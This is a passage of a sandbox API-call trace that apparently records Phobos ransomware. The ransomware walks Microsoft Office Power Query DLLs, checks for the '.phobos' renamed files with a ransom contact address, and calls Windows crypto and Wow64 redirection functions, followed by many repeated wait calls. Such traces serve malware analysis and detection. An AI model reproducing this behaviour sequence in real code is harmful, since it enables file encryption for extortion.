integrated\\bin\\ko\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.835] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.836] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=213056) returned 1 [0155.836] CloseHandle (hObject=0x254) returned 1 [0155.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.848] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60072) returned 1 [0155.848] CloseHandle (hObject=0x254) returned 1 [0155.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.850] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.860] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=569408) returned 1 [0155.860] CloseHandle (hObject=0x254) returned 1 [0155.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.860] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mashupcompression.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mashupcompression.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.865] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60992) returned 1 [0155.865] CloseHandle (hObject=0x254) returned 1 [0155.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mashupcompression.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mashupcompression.dll")) returned 0x220 [0155.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mashupcompression.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mashupcompression.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mashupcompression.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mashupcompression.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.143] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc98 | out: phKey=0x3e9fc98*=0x895338) returned 1 [0156.143] CryptSetKeyParam (hKey=0x895338, dwParam=0x1, pbData=0x3e9fc80, dwFlags=0x0) returned 1 [0156.143] CryptDecrypt (in: hKey=0x895338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23abfd8, pdwDataLen=0x3e9fc4c | out: pbData=0x23abfd8, pdwDataLen=0x3e9fc4c) returned 1 [0156.143] CryptDestroyKey (hKey=0x895338) returned 1 [0156.143] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.144] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75c06b50 [0156.144] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0156.144] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23abfd8 | out: hHeap=0x23a0000) returned 1 Thread: id = 79 os_tid = 0xf48 [0147.275] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36d40a8 [0147.276] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36e40b0 [0147.277] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23abfd8 [0147.277] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x110102) returned 0x4382020 [0147.281] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23ac008 [0147.281] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfaf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfb58 | out: phKey=0x3fdfb58*=0x8369a0) returned 1 [0147.281] CryptSetKeyParam (hKey=0x8369a0, dwParam=0x1, pbData=0x3fdfb40, dwFlags=0x0) returned 1 [0147.281] CryptDecrypt (in: hKey=0x8369a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac008, pdwDataLen=0x3fdfb0c | out: pbData=0x23ac008, pdwDataLen=0x3fdfb0c) returned 1 [0147.281] CryptDestroyKey (hKey=0x8369a0) returned 1 [0147.281] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0147.282] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0147.282] Wow64DisableWow64FsRedirection (in: OldValue=0x3fdfba4 | out: OldValue=0x3fdfba4*=0x0) returned 1 [0147.282] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac008 | out: hHeap=0x23a0000) returned 1 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.282] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.283] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.284] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.285] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.286] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.287] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.287] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.287] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.287] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.287] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.288] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.289] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.290] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.291] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.292] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.292] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.293] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.293] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.293] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.293] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.294] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.295] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.296] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.297] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.297] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.297] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.297] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.297] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.298] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.299] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.300] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.301] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.302] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.303] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.304] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.305] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.305] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0xffffffff) returned 0x0 [0147.305] WaitForSingleObject (hHandle=0x4f4, 